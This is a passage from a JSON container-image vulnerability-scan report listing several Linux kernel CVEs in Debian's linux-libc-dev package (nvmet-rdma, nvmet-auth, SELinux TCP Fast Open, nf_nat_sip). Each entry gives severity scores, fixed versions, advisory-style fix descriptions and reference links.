"2026-08-15T06:21:29.577Z", "LastModifiedDate": "2026-10-16T19:17:10.177Z" }, { "VulnerabilityID": "CVE-2026-72129", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72129", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:19a54652f87d0e0c7251a5d7072d904b8ebbaf6c029632aeb48cd5f6c0b8489d", "Title": "kernel: nvmet-rdma: handle inline data with a nonzero offset", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-rdma: handle inline data with a nonzero offset\n\nnvmet_rdma_use_inline_sg() maps the host-controlled inline data offset\ninto the per-command inline scatterlist. The bounds check admits any\noffset with off + len \u003c= inline_data_size, but the mapping still assumes\nthe data begins in the first inline page:\n\n\tsg-\u003eoffset = off;\n\tsg-\u003elength = min_t(int, len, PAGE_SIZE - off);\n\nWhen a port is configured with inline_data_size \u003e PAGE_SIZE (settable up\nto max(SZ_16K, PAGE_SIZE)), an offset in (PAGE_SIZE, inline_data_size]\nmakes \"PAGE_SIZE - off\" underflow, so sg-\u003elength is set to ~4 GiB and\nthe block backend reads far past the first inline page. num_pages(len)\nalso ignores the offset, so an in-bounds offset whose [off, off+len)\nspan crosses a page boundary under-counts the scatterlist.\n\nMap the offset properly: split it into a page index and an in-page\noffset, start the scatterlist at that page, and size the page count from\npage_off + len. Because the request scatterlist may now start at\ninline_sg[page_idx] rather than inline_sg[0], generalize the inline-SGL\nidentity test in nvmet_rdma_release_rsp() to a range test; otherwise the\npersistent inline scatterlist is mistaken for an allocated one and\nnvmet_req_free_sgls() frees an inline page (and warns in\nfree_large_kmalloc()).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-72129", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/48c0162f647bb47e6084ffbc71b8f213f5e2f4f8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/11401371152b228448a41d79c6de1c938f93049a", "https://git.kernel.org/stable/c/2944113ad5fbcdf5d349d857c03d2a44b6de75b8", "https://git.kernel.org/stable/c/42a8ea3acd883f4f210d9e54e0975b1e2292b529", "https://git.kernel.org/stable/c/48c0162f647bb47e6084ffbc71b8f213f5e2f4f8", "https://git.kernel.org/stable/c/7c96581169c9d9a7d0726e554313acfbead6141c", "https://git.kernel.org/stable/c/98bcdfa619150b2f41fa15bac140dbaf2584ad05", "https://git.kernel.org/stable/c/bf8bcc1c137d54a62a428b00051fdbb13660673b", "https://git.kernel.org/stable/c/c2106ba1b14d644a5203bea1a50dbe25dcad713c", "https://linux.oracle.com/cve/CVE-2026-72129.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026081530-CVE-2026-72129-841e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72129", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72129" ], "PublishedDate": "2026-08-15T06:21:30.32Z", "LastModifiedDate": "2026-10-16T19:17:10.933Z" }, { "VulnerabilityID": "CVE-2026-72130", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:03d667a48103f391be837a1a31c7832e1d4a8508d5e5592fda452e3b96274e50", "Title": "kernel: nvmet-auth: reject short AUTH_RECEIVE buffers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: reject short AUTH_RECEIVE buffers\n\nnvmet_execute_auth_receive() trusts the AUTH_RECEIVE allocation length\nafter checking only that it is nonzero and matches the transfer length.\nIn the SUCCESS1 and FAILURE1/default states, that lets a remote NVMe-oF\ninitiator reach the fixed-size DH-HMAC-CHAP response builders with a\nkmalloc() buffer shorter than the response, so nvmet_auth_success1() and\nnvmet_auth_failure1() write past the allocation; both only WARN_ON the\nshort length and then format the message anyway.\n\nImpact: A remote NVMe-oF initiator with access to an auth-enabled target\ncan trigger a 16-byte heap out-of-bounds write via a one-byte\nAUTH_RECEIVE allocation length.\n\nCompute the minimum response length for the current DH-HMAC-CHAP step in\nnvmet_auth_receive_data_len() and report a zero data length when the\nhost-supplied allocation length is shorter, so the existing zero-length\ncheck in nvmet_execute_auth_receive() rejects the command before any\nbuilder runs. The SUCCESS1 minimum is sizeof(struct\nnvmf_auth_dhchap_success1_data) plus the HMAC hash length, because the\nresponse hash is written into the rval[] flexible-array tail, so the\nminimum is state dependent rather than a flat sizeof. CHALLENGE keeps its\nexisting variable-length guard in nvmet_auth_challenge().\n\nThis is reachable only when in-band DH-HMAC-CHAP authentication is\nconfigured on the target.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-72130", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/779575bc35c687697ba69e904f2cd22e60112534%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2eaa3ad450141cfcf187bb43cb8335eb336b5f87", "https://git.kernel.org/stable/c/584d7d14d9b40b080b1195cec83de86ade63343e", "https://git.kernel.org/stable/c/779575bc35c687697ba69e904f2cd22e60112534", "https://git.kernel.org/stable/c/80bf7b7f676e3987bbe06af3c359bd56ac91a5a9", "https://git.kernel.org/stable/c/bc111698b46e43eddd8664cceaa621cd559e99a0", "https://git.kernel.org/stable/c/ecdb6332fe59ddf18aad758a4926e3d483f4860a", "https://linux.oracle.com/cve/CVE-2026-72130.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026081530-CVE-2026-72130-63b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72130", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72130" ], "PublishedDate": "2026-08-15T06:21:30.453Z", "LastModifiedDate": "2026-10-30T13:19:47.237Z" }, { "VulnerabilityID": "CVE-2026-72243", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72243", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:feada5823a4ebfc2921e60bdc5eb5f658d7f2f156e3a75888c5d36f475ab409c", "Title": "kernel: selinux: check connect-related permissions on TCP Fast Open", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: check connect-related permissions on TCP Fast Open\n\nSimilar to Landlock, SELinux was not updated when TCP Fast Open\nsupport was introduced to ensure connect-related permissions are\nchecked when using TCP Fast Open. Update its socket_sendmsg() hook to\ncall selinux_socket_connect() when MSG_FASTOPEN is passed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-72243", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/44c74d27d1b9aaa99fa8a83640c1223575262b80%20%287.2-rc3%29", "https://git.kernel.org/stable/c/11406d0d7e11b4e525bb2ace2c70107031d058da", "https://git.kernel.org/stable/c/44c74d27d1b9aaa99fa8a83640c1223575262b80", "https://git.kernel.org/stable/c/646ebbc5f2ff9147d084e1213143f091026a611c", "https://git.kernel.org/stable/c/d028bc080a0dcd6a7f8e1ae1bd32dda696505ba3", "https://git.kernel.org/stable/c/e507633bf76bccf1a6af27771fb0d6e2862b7eac", "https://git.kernel.org/stable/c/fc633a598206d4f23af782db7c0b5f3a82751d2c", "https://linux.oracle.com/cve/CVE-2026-72243.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-72243-04e7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72243", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72243" ], "PublishedDate": "2026-08-15T06:21:51.443Z", "LastModifiedDate": "2026-10-16T19:17:16.37Z" }, { "VulnerabilityID": "CVE-2026-72251", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72251", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e7d5e89a3775dc3f0c50318d17d175ce6df184631393d8211837ba01f3476fc1", "Title": "kernel: netfilter: nf_nat_sip: reload possible stale data pointer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_nat_sip: reload possible stale data pointer\n\nquoting sashiko:\n ------------------------------------------------------------------------\n [..] noticed a potential memory bug and header corruption involving the\n SIP NAT helper.\n\n In net/netfilter/nf_nat_sip.c:nf_nat_sip():\n\tif (skb_ensure_writable(skb, skb-\u003elen)) {\n\t\tnf_ct_helper_log(skb, ct, \"cannot mangle packet\");\n\t\treturn NF_DROP;\n\t}\n\tuh = (void *)skb-\u003edata + protoff;\n\tuh-\u003edest = ct_sip_info-\u003eforced_dport;\n\tif (!nf_nat_mangle_udp_packet(skb, ct, ctinfo, protoff,\n\t\t\t\t 0, 0, NULL, 0)) {\n\n If a cloned or fragmented SKB is reallocated by skb_ensure_writable(), the\n old data buffer is freed. However, nf_nat_sip() fails to update *dptr to\n point to the new buffer.\n\n It also appears to use nf_nat_mangle_udp_packet() on what could be a TCP\n packet, which would overwrite the sequence number with a checksum update.\n ------------------------------------------------------------------------\n\nnf_conntrack_sip linerizes skbs, hence no fragmented skb can be seen.\nBut clones are possible, so rebuild dptr.\n\nDisable nf_nat_mangle_udp_packet() branch for TCP streams.\nIt doesn't look like this can ever happen, else we should have received\nbug reports about this, so just check the conntrack is UDP and drop\notherwise.\n\nThe calling conntrack_sip set -\u003eforced_dport for SIP_HDR_VIA_UDP messages,\nso I don't think this is ever expected to be true for a TCP stream.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72251", "https://git.kernel.org/linus/77e43bcb7ec177e293a5c3f1b91a2c5aebfb6c68%20%287.2-rc3%29", "https://git.kernel.org/stable/c/0e76e3e886cc9ee027337d5ad39cb96f57b7bdc7", "https://git.kernel.org/stable/c/2bcf2c5052fb5e73e255140ab43f056aef409c27", "https://git.kernel.org/stable/c/57e4e29644ec054d7021d296407e7ddd844afea2", "https://git.kernel.org/stable/c/77e43bcb7ec177e293a5c3f1b91a2c5aebfb6c68", "https://git.kernel.org/stable/c/bded21a4bf9bf86a79148be735723a97ca9a7532", "https://git.kernel.org/stable/c/dc11f26685aa850f237226f0f463647aea58ab7c", "https://git.kernel.org/stable/c/e38143c9b477f2968024c47c647dd4456a40aff1", "https://git.kernel.org/stable/c/eae9c6ccb5af69c713a65f8ae219f5c1aa32cd17", "https://linux.oracle.com/cve/CVE-2026-72251.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081553-CVE-2026-72251-3036@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72251", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", 